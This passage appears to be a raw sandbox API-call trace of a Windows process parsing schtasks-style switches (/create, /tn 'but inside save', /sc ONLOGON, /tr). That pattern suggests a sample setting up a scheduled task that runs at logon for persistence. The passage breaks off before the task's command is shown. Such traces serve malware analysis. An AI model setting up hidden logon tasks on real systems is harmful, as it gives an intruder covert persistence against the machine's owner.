(lpString="m") returned 1 [0157.470] GetThreadLocale () returned 0x409 [0157.470] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0157.470] lstrlenW (lpString="i") returned 1 [0157.470] GetThreadLocale () returned 0x409 [0157.470] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0157.471] lstrlenW (lpString="tn") returned 2 [0157.471] GetThreadLocale () returned 0x409 [0157.471] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0157.471] lstrlenW (lpString="tr") returned 2 [0157.471] GetThreadLocale () returned 0x409 [0157.471] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0157.471] lstrlenW (lpString="st") returned 2 [0157.471] GetThreadLocale () returned 0x409 [0157.471] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0157.471] lstrlenW (lpString="sd") returned 2 [0157.471] GetThreadLocale () returned 0x409 [0157.471] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0157.471] lstrlenW (lpString="ed") returned 2 [0157.471] GetThreadLocale () returned 0x409 [0157.471] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0157.471] lstrlenW (lpString="it") returned 2 [0157.471] GetThreadLocale () returned 0x409 [0157.471] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0157.471] lstrlenW (lpString="et") returned 2 [0157.471] GetThreadLocale () returned 0x409 [0157.471] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0157.471] lstrlenW (lpString="k") returned 1 [0157.471] GetThreadLocale () returned 0x409 [0157.471] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0157.471] lstrlenW (lpString="du") returned 2 [0157.471] GetThreadLocale () returned 0x409 [0157.471] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0157.471] lstrlenW (lpString="ri") returned 2 [0157.471] GetThreadLocale () returned 0x409 [0157.472] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0157.472] lstrlenW (lpString="z") returned 1 [0157.472] GetThreadLocale () returned 0x409 [0157.472] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0157.472] lstrlenW (lpString="f") returned 1 [0157.472] GetThreadLocale () returned 0x409 [0157.472] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0157.472] lstrlenW (lpString="v1") returned 2 [0157.472] GetThreadLocale () returned 0x409 [0157.472] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0157.472] lstrlenW (lpString="xml") returned 3 [0157.472] GetThreadLocale () returned 0x409 [0157.472] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0157.472] lstrlenW (lpString="ec") returned 2 [0157.472] GetThreadLocale () returned 0x409 [0157.472] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0157.472] lstrlenW (lpString="rl") returned 2 [0157.472] GetThreadLocale () returned 0x409 [0157.472] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0157.472] lstrlenW (lpString="delay") returned 5 [0157.472] GetThreadLocale () returned 0x409 [0157.472] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0157.472] lstrlenW (lpString="np") returned 2 [0157.472] SetLastError (dwErrCode=0x0) [0157.472] SetLastError (dwErrCode=0x0) [0157.472] lstrlenW (lpString="/create") returned 7 [0157.472] lstrlenW (lpString="-/") returned 2 [0157.472] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0157.473] lstrlenW (lpString="create") returned 6 [0157.473] lstrlenW (lpString="create") returned 6 [0157.473] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.473] lstrlenW (lpString="create") returned 6 [0157.473] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.473] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|create|") returned 8 [0157.473] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|create|") returned 8 [0157.473] lstrlenW (lpString="|create|") returned 8 [0157.473] lstrlenW (lpString="|create|") returned 8 [0157.473] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0157.473] SetLastError (dwErrCode=0x0) [0157.473] SetLastError (dwErrCode=0x0) [0157.473] SetLastError (dwErrCode=0x0) [0157.473] lstrlenW (lpString="/tn") returned 3 [0157.473] lstrlenW (lpString="-/") returned 2 [0157.473] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0157.473] lstrlenW (lpString="create") returned 6 [0157.473] lstrlenW (lpString="create") returned 6 [0157.473] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.473] lstrlenW (lpString="tn") returned 2 [0157.473] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.473] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|create|") returned 8 [0157.473] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|tn|") returned 4 [0157.473] lstrlenW (lpString="|create|") returned 8 [0157.473] lstrlenW (lpString="|tn|") returned 4 [0157.474] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0157.474] SetLastError (dwErrCode=0x490) [0157.474] lstrlenW (lpString="?") returned 1 [0157.474] lstrlenW (lpString="?") returned 1 [0157.474] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.474] lstrlenW (lpString="tn") returned 2 [0157.474] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.474] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|?|") returned 3 [0157.474] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|tn|") returned 4 [0157.474] lstrlenW (lpString="|?|") returned 3 [0157.474] lstrlenW (lpString="|tn|") returned 4 [0157.474] SetLastError (dwErrCode=0x490) [0157.474] lstrlenW (lpString="s") returned 1 [0157.474] lstrlenW (lpString="s") returned 1 [0157.474] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.475] lstrlenW (lpString="tn") returned 2 [0157.475] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.475] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|s|") returned 3 [0157.475] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|tn|") returned 4 [0157.475] lstrlenW (lpString="|s|") returned 3 [0157.475] lstrlenW (lpString="|tn|") returned 4 [0157.475] SetLastError (dwErrCode=0x490) [0157.475] lstrlenW (lpString="u") returned 1 [0157.475] lstrlenW (lpString="u") returned 1 [0157.475] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.475] lstrlenW (lpString="tn") returned 2 [0157.475] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.475] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|u|") returned 3 [0157.475] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|tn|") returned 4 [0157.475] lstrlenW (lpString="|u|") returned 3 [0157.475] lstrlenW (lpString="|tn|") returned 4 [0157.475] SetLastError (dwErrCode=0x490) [0157.475] lstrlenW (lpString="p") returned 1 [0157.475] lstrlenW (lpString="p") returned 1 [0157.475] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.476] lstrlenW (lpString="tn") returned 2 [0157.476] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.476] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|p|") returned 3 [0157.476] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|tn|") returned 4 [0157.476] lstrlenW (lpString="|p|") returned 3 [0157.476] lstrlenW (lpString="|tn|") returned 4 [0157.476] SetLastError (dwErrCode=0x490) [0157.476] lstrlenW (lpString="ru") returned 2 [0157.476] lstrlenW (lpString="ru") returned 2 [0157.476] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.476] lstrlenW (lpString="tn") returned 2 [0157.476] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.476] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|ru|") returned 4 [0157.476] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|tn|") returned 4 [0157.476] lstrlenW (lpString="|ru|") returned 4 [0157.476] lstrlenW (lpString="|tn|") returned 4 [0157.476] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0157.476] SetLastError (dwErrCode=0x490) [0157.476] lstrlenW (lpString="rp") returned 2 [0157.476] lstrlenW (lpString="rp") returned 2 [0157.476] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.476] lstrlenW (lpString="tn") returned 2 [0157.476] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.476] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|rp|") returned 4 [0157.477] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|tn|") returned 4 [0157.477] lstrlenW (lpString="|rp|") returned 4 [0157.477] lstrlenW (lpString="|tn|") returned 4 [0157.477] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0157.477] SetLastError (dwErrCode=0x490) [0157.477] lstrlenW (lpString="sc") returned 2 [0157.477] lstrlenW (lpString="sc") returned 2 [0157.477] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.477] lstrlenW (lpString="tn") returned 2 [0157.477] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.477] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|sc|") returned 4 [0157.477] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|tn|") returned 4 [0157.477] lstrlenW (lpString="|sc|") returned 4 [0157.477] lstrlenW (lpString="|tn|") returned 4 [0157.477] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0157.477] SetLastError (dwErrCode=0x490) [0157.477] lstrlenW (lpString="mo") returned 2 [0157.477] lstrlenW (lpString="mo") returned 2 [0157.477] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.477] lstrlenW (lpString="tn") returned 2 [0157.477] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.477] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|mo|") returned 4 [0157.477] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|tn|") returned 4 [0157.477] lstrlenW (lpString="|mo|") returned 4 [0157.477] lstrlenW (lpString="|tn|") returned 4 [0157.478] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0157.478] SetLastError (dwErrCode=0x490) [0157.478] lstrlenW (lpString="d") returned 1 [0157.478] lstrlenW (lpString="d") returned 1 [0157.478] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.478] lstrlenW (lpString="tn") returned 2 [0157.478] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.478] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|d|") returned 3 [0157.478] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|tn|") returned 4 [0157.478] lstrlenW (lpString="|d|") returned 3 [0157.478] lstrlenW (lpString="|tn|") returned 4 [0157.478] SetLastError (dwErrCode=0x490) [0157.478] lstrlenW (lpString="m") returned 1 [0157.478] lstrlenW (lpString="m") returned 1 [0157.478] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.478] lstrlenW (lpString="tn") returned 2 [0157.478] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.478] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|m|") returned 3 [0157.478] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|tn|") returned 4 [0157.478] lstrlenW (lpString="|m|") returned 3 [0157.478] lstrlenW (lpString="|tn|") returned 4 [0157.478] SetLastError (dwErrCode=0x490) [0157.478] lstrlenW (lpString="i") returned 1 [0157.478] lstrlenW (lpString="i") returned 1 [0157.478] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.478] lstrlenW (lpString="tn") returned 2 [0157.478] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.479] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|i|") returned 3 [0157.479] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|tn|") returned 4 [0157.479] lstrlenW (lpString="|i|") returned 3 [0157.479] lstrlenW (lpString="|tn|") returned 4 [0157.479] SetLastError (dwErrCode=0x490) [0157.479] lstrlenW (lpString="tn") returned 2 [0157.479] lstrlenW (lpString="tn") returned 2 [0157.479] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.479] lstrlenW (lpString="tn") returned 2 [0157.479] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.479] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|tn|") returned 4 [0157.479] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|tn|") returned 4 [0157.479] lstrlenW (lpString="|tn|") returned 4 [0157.479] lstrlenW (lpString="|tn|") returned 4 [0157.479] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0157.479] SetLastError (dwErrCode=0x0) [0157.479] SetLastError (dwErrCode=0x0) [0157.479] lstrlenW (lpString="but inside save") returned 15 [0157.479] lstrlenW (lpString="-/") returned 2 [0157.479] StrChrIW (lpStart="-/", wMatch=0x62) returned 0x0 [0157.479] SetLastError (dwErrCode=0x490) [0157.479] SetLastError (dwErrCode=0x490) [0157.479] SetLastError (dwErrCode=0x0) [0157.479] lstrlenW (lpString="but inside save") returned 15 [0157.479] StrChrIW (lpStart="but inside save", wMatch=0x3a) returned 0x0 [0157.479] SetLastError (dwErrCode=0x490) [0157.479] SetLastError (dwErrCode=0x0) [0157.479] lstrlenW (lpString="but inside save") returned 15 [0157.480] SetLastError (dwErrCode=0x0) [0157.480] SetLastError (dwErrCode=0x0) [0157.480] lstrlenW (lpString="/sc") returned 3 [0157.480] lstrlenW (lpString="-/") returned 2 [0157.480] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0157.480] lstrlenW (lpString="create") returned 6 [0157.480] lstrlenW (lpString="create") returned 6 [0157.480] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.480] lstrlenW (lpString="sc") returned 2 [0157.480] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.480] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|create|") returned 8 [0157.480] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|sc|") returned 4 [0157.480] lstrlenW (lpString="|create|") returned 8 [0157.480] lstrlenW (lpString="|sc|") returned 4 [0157.480] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0157.480] SetLastError (dwErrCode=0x490) [0157.480] lstrlenW (lpString="?") returned 1 [0157.480] lstrlenW (lpString="?") returned 1 [0157.480] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.480] lstrlenW (lpString="sc") returned 2 [0157.480] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.480] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|?|") returned 3 [0157.480] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|sc|") returned 4 [0157.480] lstrlenW (lpString="|?|") returned 3 [0157.480] lstrlenW (lpString="|sc|") returned 4 [0157.480] SetLastError (dwErrCode=0x490) [0157.480] lstrlenW (lpString="s") returned 1 [0157.481] lstrlenW (lpString="s") returned 1 [0157.481] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.481] lstrlenW (lpString="sc") returned 2 [0157.481] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.481] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|s|") returned 3 [0157.481] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|sc|") returned 4 [0157.481] lstrlenW (lpString="|s|") returned 3 [0157.481] lstrlenW (lpString="|sc|") returned 4 [0157.481] SetLastError (dwErrCode=0x490) [0157.481] lstrlenW (lpString="u") returned 1 [0157.481] lstrlenW (lpString="u") returned 1 [0157.481] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.481] lstrlenW (lpString="sc") returned 2 [0157.481] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.481] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|u|") returned 3 [0157.481] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|sc|") returned 4 [0157.481] lstrlenW (lpString="|u|") returned 3 [0157.481] lstrlenW (lpString="|sc|") returned 4 [0157.481] SetLastError (dwErrCode=0x490) [0157.481] lstrlenW (lpString="p") returned 1 [0157.481] lstrlenW (lpString="p") returned 1 [0157.481] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.481] lstrlenW (lpString="sc") returned 2 [0157.481] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.481] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|p|") returned 3 [0157.481] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|sc|") returned 4 [0157.482] lstrlenW (lpString="|p|") returned 3 [0157.482] lstrlenW (lpString="|sc|") returned 4 [0157.482] SetLastError (dwErrCode=0x490) [0157.482] lstrlenW (lpString="ru") returned 2 [0157.482] lstrlenW (lpString="ru") returned 2 [0157.482] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.482] lstrlenW (lpString="sc") returned 2 [0157.482] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.482] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|ru|") returned 4 [0157.482] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|sc|") returned 4 [0157.482] lstrlenW (lpString="|ru|") returned 4 [0157.482] lstrlenW (lpString="|sc|") returned 4 [0157.482] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0157.482] SetLastError (dwErrCode=0x490) [0157.482] lstrlenW (lpString="rp") returned 2 [0157.482] lstrlenW (lpString="rp") returned 2 [0157.482] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.482] lstrlenW (lpString="sc") returned 2 [0157.482] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.482] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|rp|") returned 4 [0157.482] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|sc|") returned 4 [0157.482] lstrlenW (lpString="|rp|") returned 4 [0157.482] lstrlenW (lpString="|sc|") returned 4 [0157.482] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0157.482] SetLastError (dwErrCode=0x490) [0157.482] lstrlenW (lpString="sc") returned 2 [0157.483] lstrlenW (lpString="sc") returned 2 [0157.483] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.483] lstrlenW (lpString="sc") returned 2 [0157.483] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.483] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|sc|") returned 4 [0157.483] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|sc|") returned 4 [0157.483] lstrlenW (lpString="|sc|") returned 4 [0157.483] lstrlenW (lpString="|sc|") returned 4 [0157.483] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0157.483] SetLastError (dwErrCode=0x0) [0157.483] SetLastError (dwErrCode=0x0) [0157.483] lstrlenW (lpString="ONLOGON") returned 7 [0157.483] lstrlenW (lpString="-/") returned 2 [0157.483] StrChrIW (lpStart="-/", wMatch=0x4f) returned 0x0 [0157.483] SetLastError (dwErrCode=0x490) [0157.483] SetLastError (dwErrCode=0x490) [0157.483] SetLastError (dwErrCode=0x0) [0157.483] lstrlenW (lpString="ONLOGON") returned 7 [0157.483] StrChrIW (lpStart="ONLOGON", wMatch=0x3a) returned 0x0 [0157.483] SetLastError (dwErrCode=0x490) [0157.483] SetLastError (dwErrCode=0x0) [0157.483] GetProcessHeap () returned 0x250000 [0157.483] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x18) returned 0x26d540 [0157.483] _memicmp (_Buf1=0x26d540, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.483] lstrlenW (lpString="ONLOGON") returned 7 [0157.483] GetProcessHeap () returned 0x250000 [0157.483] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x10) returned 0x26d560 [0157.483] lstrlenW (lpString="ONLOGON") returned 7 [0157.483] lstrlenW (lpString=" \x09") returned 2 [0157.484] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0157.484] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0157.484] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0157.484] StrChrW (lpStart=" \x09", wMatch=0x4c) returned 0x0 [0157.484] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0157.484] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0157.484] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0157.484] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0157.484] GetLastError () returned 0x0 [0157.484] lstrlenW (lpString="ONLOGON") returned 7 [0157.484] lstrlenW (lpString="ONLOGON") returned 7 [0157.484] SetLastError (dwErrCode=0x0) [0157.484] SetLastError (dwErrCode=0x0) [0157.484] lstrlenW (lpString="/tr") returned 3 [0157.484] lstrlenW (lpString="-/") returned 2 [0157.484] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0157.484] lstrlenW (lpString="create") returned 6 [0157.484] lstrlenW (lpString="create") returned 6 [0157.484] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.484] lstrlenW (lpString="tr") returned 2 [0157.484] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.484] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|create|") returned 8 [0157.484] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|tr|") returned 4 [0157.484] lstrlenW (lpString="|create|") returned 8 [0157.484] lstrlenW (lpString="|tr|") returned 4 [0157.484] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0157.484] SetLastError (dwErrCode=0x490) [0157.484] lstrlenW (lpString="?") returned 1 [0157.485] lstrlenW (lpString="?") returned 1 [0157.485] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.485] lstrlenW (lpString="tr") returned 2 [0157.485] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.485] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|?|") returned 3 [0157.485] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|tr|") returned 4 [0157.485] lstrlenW (lpString="|?|") returned 3 [0157.485] lstrlenW (lpString="|tr|") returned 4 [0157.485] SetLastError (dwErrCode=0x490) [0157.485] lstrlenW (lpString="s") returned 1 [0157.485] lstrlenW (lpString="s") returned 1 [0157.485] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.485] lstrlenW (lpString="tr") returned 2 [0157.485] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.485] _vsnwprintf (in: _Buffer=0x26c260, 